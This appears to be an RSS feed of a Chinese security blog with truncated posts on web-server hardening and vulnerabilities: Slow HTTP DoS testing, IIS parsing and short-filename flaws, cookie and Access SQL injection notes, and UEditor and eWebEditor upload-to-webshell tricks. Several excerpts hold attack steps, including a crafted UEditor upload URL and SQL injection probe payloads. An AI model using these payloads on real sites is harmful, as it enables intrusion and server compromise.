<![CDATA[拍拍尘土]]> http://blog.xg98.com/ zh-cn LBS v2.0.313 Mon, 04 May 2026 19:34:45 +0800 60 <![CDATA[apache nginx tomcat iis Slow HTTP Denial of Service Attack DDOS漏洞修复办法，可以使用slowHTTPtest自行测试]]> ]]> Sat, 08 Aug 2020 09:11:40 +0800 p.s. 关于其中的参数设置数值部分争议比较大，如果真正遭遇到攻击，那么超时数值自然是小一点比较稳妥，比如连接超时设20左右。
为保证服务器稳定运行，具体修改配置需要每操作一步就测试一次是否运行正常。比如修改头信息Content-type，在没有预设谓词情况下拒绝其他谓词，都会造成网站无法服务。总之仅供参考，需要根据实际需求来综合解决ddos问题。

Slow HTTP Denial of Service Attack 中文叫作缓慢的HTTP攻击漏洞,网上多数是tomcat的修复方法，然而实际上会碰到iis nginx apache等web服务器的这个问题，于是就有了这个修复集合。

漏洞描述：
利用的HTTP POST：POST的时候，指定一个非常大的content-length，然后以很低的速度发包，比如10-100s发一个字节，ho]]> <![CDATA[slowHTTPtest DDOS攻击测试方法 修复方案 ,Slow HTTP Denial of Service Attack 漏洞解决办法]]> ]]> Sat, 08 Aug 2020 08:54:31 +0800 解决办法： http://blog.xg98.com/article.asp?id=2703


0x01、 安装
下载链接
https://github.com/shekyan/slowhttptest

安装介绍
https://github.com/shekyan/slowhttptest/wiki/InstallationAndUsage

KALI
git clone https://github.com/shekyan/slowhttptest
cd slowhttptest
./configure
make
MAC：
brew update && brew install slowhttptest

0x02、攻击模式
服务器在接收到请求时，完全接收以后才会处理请求，如果攻击者发送的比较缓慢或者发送的不完整]]> <![CDATA[win2003/win2008/win2012 运行asp,php,asp.net的目录权限配置中的安全问题]]> ]]> Tue, 04 Aug 2020 16:10:27 +0800 1、如果出现404，则可以看看是否fastcgi没有启用，或者是关停了IISsafedog但是站点isapi中还有dll残留。
2、asp/php站的上传目录图片返回500，有可设置了不支持.net的应用程序池，然后恰好上传目录下存在web.config
关于win2003到win2008的权限组更新，可以看 win2008中ACL权限问题：IUSR和IIS_IUSRS http://blog.xg98.com/article.asp?id=2701

我们先定义相关目录如下
根目录： /ROOT
网站目录： /ROOT/WEB
日志目录： /ROOT/LOGS


【Win2003服务器】
]]> <![CDATA[asp版本ueditor漏洞]]> ]]> Mon, 01 Jun 2020 17:06:52 +0800 p.s.解决办法：
1、图片格式判断
2、木马代码判断
3、ueditor配置文件中加个登录判断（一般有上传权限都是在管理或者会员登录后进行）
4、附件上传目录配置独立域名，不应支持动态脚本


asp/php版本 ：

漏洞地址：
/ueditor/asp/imageUp.asp
/admin/ueditor/asp/imageUp.asp

/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck

post：shell内容

]]> <![CDATA[iis7/iis7.5/win2008如何隐藏详细错误页，泄露网站物理地址的问题]]> ]]> Thu, 29 Aug 2019 09:09:53 +0800 找了下没有一劳永逸的办法，需要每个网站单独设置下自定义错误页面。
当按照下面的方法设置好之后，你会发现可能网站访问不了，提示没有权限读取web.config。因为根目录自动生成了一个web.config文件，里面有了关于404的设置。
1、给网站根目录的上一级目录IIS_IUSRS权限即可访问，这个就是.net的运行权限问题。
2、如果还没有生效，需要重启下该站点的应用程序池。停止后如不能启动了就稍微过会儿启动，实在不行改下.net版本或无托管模式。


http://blog.xg98.com/attachments/201908/29_091335_1.png


http://blog.xg98.com/attachments/201908/29_092939_10.png


http://blog.xg98.com/attachments/201908/29_092948_2.png

]]> <![CDATA[iis7或7.5对文件名畸形解析导致远程代码执行]]> ]]> Fri, 23 Aug 2019 17:34:15 +0800 详细描述

Microsoft Internet信息服务（IIS）是MicrosoftWindows自带的一个网络信息服务器。

IIS7/7.5当以CGI的方式运行PHP时，在处理PHP文件路径的解析时存在问题。如果网站允许上传文件，而且上传文件路径可得到，远程攻击者可以利用此漏洞上传包含恶意代码的文件并得到执行，实现以Web进程权限执行任意命令。

攻击者上传允许上传的文件类型，文件中包含恶意代码，得到上传文件的URL后，在其后添加任意php后缀的文件名进行访问，会把上传的文件作为CGI脚本执行。
漏洞复现

IIS 7/7.5在Fast-CGI运行模式下,如果在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

常用利用方法：将一张图和一]]> <![CDATA[IIS短文件名枚举漏洞，可以猜出网站有哪些目录，特别是管理路径]]> ]]> Fri, 23 Aug 2019 17:04:16 +0800 1.1.1 漏洞描述

为了兼容16位MS-DOS程序，Windows为文件名较长的文件（和文件夹）生成了对应的windows 8.3 短文件名。 在Windows下查看对应的短文件名，可以使用命令 dir /x
http://blog.xg98.com/attachments/201908/23_170504_1122908201803081752238891794974339.png


只有前六位字符直接显示，后续字符用~1指代。其中数字1还可以递增，如果存在多个文件名类似的文件（名称前6位必须相同，且后缀名前3位必须相同）。后缀名最长只有3位，多余的被截断。我们可以在启用.net的IIS下暴力列举短文件名，原因是：

访问构造的某个存在的短文件名，会返回404

访问构造的某个不存在的短文件名，会返回400

1.1.2 漏洞测试[img]attachments/20190]]> <![CDATA[cookie注入中转注入笔记]]> ]]> Tue, 28 May 2013 17:05:09 +0800 http://blog.xg98.com/attachments/201305/28_170506_1347763933_7257.jpg


ASP脚本中,Request对象获取客户端提交数据常用的是GET和POST二种方式,同时request对象可以不通过集合来获得数据,即直接使用"request("name")"但它的效率低下,容易出错,当我们省略具体的集合
名称时,ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合cookies,它的意思是"读取用户系统发送的所有cookie值,cookies是保存在客户端计算机的一
个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.
    我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 ]]> <![CDATA[access手工注入笔记]]> ]]> Tue, 28 May 2013 17:02:46 +0800 http://www.xxx.com/news.asp?id=6
注入点
判断是否存在注入 两次返回不一样 存在注入
http://www.xxx.com/news.asp?id=6and 1=1
http://www.xxx.com/news.asp?id=6and 1=2
判断数据库 这里可能是本地问题 没有测试出来
and (select count(*) from msysobjects)>0 （返回权限不足access数据库）
and (select count(*) from sysobjects)>0 （返回正常则为MSSQL数据库）

猜解表名（正常则存在admin,不正常则不存在）
and exists (select * from admin)
返回正确 存在admin 我们随便填写一个进去那么 返回错误 不存在这个表

现在我们来猜解字段
]]> <![CDATA[ewebeditor不进后台拿shell的方法]]> ]]> Tue, 28 May 2013 16:59:49 +0800 然后打开，查看Style这里，看看“前人”有没有留下痕迹 看看表格内有没有上传过asp asa等这些类型的文件，如果有往下看。
查找到这段：
<IFRAME ID=”eWebEditor1″ SRC=”../eWebEditor/ewebeditor.asp?id=content&style=s_light” FRAMEBORDER=”0″ SCROLLING=”no” WIDTH=”630″ HEIGHT=”420″> </IFRAME>
把那个s_light换成你刚才看到的样式名字，然后把链接补全。
<IFRAME ID=”eWebEditor1″ SRC=www.xxx.com/eWebEditor/ewebeditor.asp?id=content&style=adminone1 ]]>